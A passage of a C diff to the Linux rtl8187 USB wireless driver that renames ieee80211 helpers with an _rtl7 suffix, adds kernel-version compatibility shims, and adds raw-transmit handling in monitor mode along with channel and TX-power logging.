DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,30 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + spin_lock_irqsave(&priv->tx_lock,flags); + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, ieeerate2rtlrate(rate)); - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1202,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1217,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1232,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1241,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1249,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1249,55 +1307,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1365,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,31 +1376,38 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else priv->stats.txnperr++; kfree(tx_urb->transfer_buffer); usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + atomic_dec(&priv->tx_np_pending); + } //rtl8180_try_wake_queue(dev,NORM_PRIORITY); } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,45 +1417,47 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ + if( pend > MAX_TX_URB){ + if(priority == NORM_PRIORITY) + priv->stats.txnpdrop++; + else + priv->stats.txlpdrop++; + return -1; + } } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - + // if(priv->shortpre) // tx[0] |= (1<<16); - + //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS // tx[0] |= (1<<18); //ENABLE CTS @@ -1399,18 +1466,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,71 +1488,77 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); status = usb_submit_urb(tx_urb, GFP_ATOMIC); if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + } return 0; }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + DMESGE("Error TX URB %d, error %d", + atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), + status); + } return -1; } } - + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1567,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1578,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1599,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1626,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1653,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1694,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1741,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1801,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1849,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1858,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1941,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +1976,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2005,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2095,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2161,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2184,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2198,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2242,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct 